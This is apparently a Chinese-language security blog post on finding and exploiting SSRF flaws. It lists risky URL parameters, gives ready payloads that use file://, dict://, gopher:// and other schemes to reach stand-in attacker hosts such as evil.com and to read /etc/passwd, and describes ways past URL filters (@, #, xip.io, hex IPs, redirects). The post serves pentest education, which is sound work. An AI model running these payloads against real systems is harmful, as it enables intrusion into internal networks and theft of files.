B1gd0g
文章16
标签12
分类2
SSRF漏洞利用与挖掘

SSRF漏洞利用与挖掘

目前漏洞趋势之ssrf

什么地方最容易出现SSRF

  1. 云服务器商。(各种网站数据库操作)

  2. 有远程图片加载的地方。(编辑器之类的有远程图片加载啊)

  3. 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)

  4. 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)

  5. 最后一个一切要你输入网址的地方和可以输入ip的都放,都是ssrf的天下。

  6. 可能出现的地方:

  7. 社交分享功能;

  8. 转码服务;

  9. 图片加载与下载

    一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

从远程服务器请求资源(upload from url 如dqiscuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

SSRF神器Curl的使用

测试URL Schema

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL Schema:

file://协议:
1
2
3
这种URL Schema可以尝试从文件系统中获取文件:
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
dict://协议:

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

1
2
3
4
http://example.com/ssrf.php?dict://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
sftp://协议:

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

1
2
3
4
http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
ldap://协议:

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

1
2
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://协议:

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

1
2
3
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
gopher://协议:

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

1
2
3
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php  header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (fami

利用ssrf打内网

https://www.cnblogs.com/-chenxs/p/11749367.html

https://blog.csdn.net/u012206617/article/details/108941738

绕过方式

正则过滤指定网址

  • 使用http用户名密码语法,比如服务器正则判断语法,我们可以 http://abc@www.baidu.com/ 同样可以打开baidu
  • 多级域名

内网IP地址绕过(不容许172、10、192开头的地址均不许输入)

  • 302跳转脚本,代码支持302(限制为http协议)
  • IP编码绕过,将ip转换为16进制、8进制等,一般情况都使用16进制(0x2D.11.11.11:3636)

注:302跳转脚本,代码支持302(限制为http协议)

利用问号绕过限制

比如:http://www.aaa.com/acb?Url=http://login.aaa.com 这是一个跳转链接,跳转到它的二级域名下,那么这个问号放哪里可以绕过呢?其实就是放到它自身的域名前面也就是你添加的想要跳转的域名的后面,如:http://www.aaa.com/acb?Url=http://test.com?login.aaa.com 。那么,它其实是会跳转到这个test.com域名下,这个域名是我想要跳转的任意域名,而后面的它自身域名一定要带上,不带上就无法辅助用问号?这个特性来跳转到指定域名了,而跳转后,问号和问号后面的内容会变为这样:http://www.test.com/?login.aaa.com

利用@绕过URL限制

如果你用这方法在火狐里进行跳转,会有弹窗提示,在其它游览器则没有。

如:http://www.aaa.com/acb?Url=http://login.aaa.com@test.com后面的test.com就是要跳转到的域名,前面的域名都是用来辅助以绕过限制的

利用#号绕过

如:http://www.aaa.com/acb?Url=http://test.com#login.aaa.com

利用白名单缺陷绕过限制

有的域名白名单限制是不全的,比如如果想利用一个跳转,而这个跳转是通用,在这个公司网站很多子域名等都可以跳转,那么你买个域名也不算贵对吧,为什么这么说呢,这个问题就是白名单限制不当,比如,当跳转的域名包含这个网站下的所有域名,比如:http://www.aaa.com/acb?Url=http://login.aaa.com,这个login.aaa.com也可以改成aaa.com同样可以跳转对吧,因为白名单里只要有包含这个域名就直接成功跳转。那么当我在这个域名前面加上如testaaa.com,白名单里会检查是否包含aaa.com这个域名,包含,然后直接跳转,而并没有检查这个域名的整个信息,然后可以利用这个问题,直接注册一个testaaa.com这个域名就可以利用这个跳转。

利用xip.io绕过

请求是http://www.127.0.0.1.xip.io 这个绕过是在SSRF场景中的绕过,比如SSRF你要读取内网地址,一般都做了限制,可以尝试用这方法进行绕过限制,从而访问到内网。

另外一点,URL跳转涉及的安全问题大家常见的就是钓鱼,那么利用这个思路也可达成一个钓鱼问题,如,http://www.qq.com.220.181.57.217.xip.io 当你访问qq这个域名时,其实这个链接已经被解析到后面这个ip地址上了,那么实际访问的就是后面这个IP地址。

点击触发达到绕过URL跳转限制

比如很多登陆页面的地方,其URL是一个跳转的URL,如:http://www.aaa.com/acb?Url=http://test.com。你直接修改了后面为任意URL,但是还是停留在原地,似乎没什么问题,但是,当你输入账号和密码后点击登陆按钮后,就会触发跳转,当然,这个账户和密码不一定要对的,随便都可以,但得视系统而定吧。这个我遇到了很多,比如你修改了域名,然后点击登陆,登陆成功后便可触发跳转,这也是一个比较隐蔽的绕过URL限制的跳转。

多重验证&跳转绕过限制

现在很多网站都有多重验证,比如你登陆账户后会出现另一个验证页面,输入手机验证码进行验证,此时这上面的URL很可能存在任意跳转的问题。

多重跳转的问题导致可绕过URL限制

比如http://www.aaa.com/acb?Url=http://login.aaa.com/acb?url=http://login.aaa.com。当然,还有多重的,这个结构的多重跳转你修改最后面的URL就可以达到任意URL跳转,中间的URL就没必要动了。

×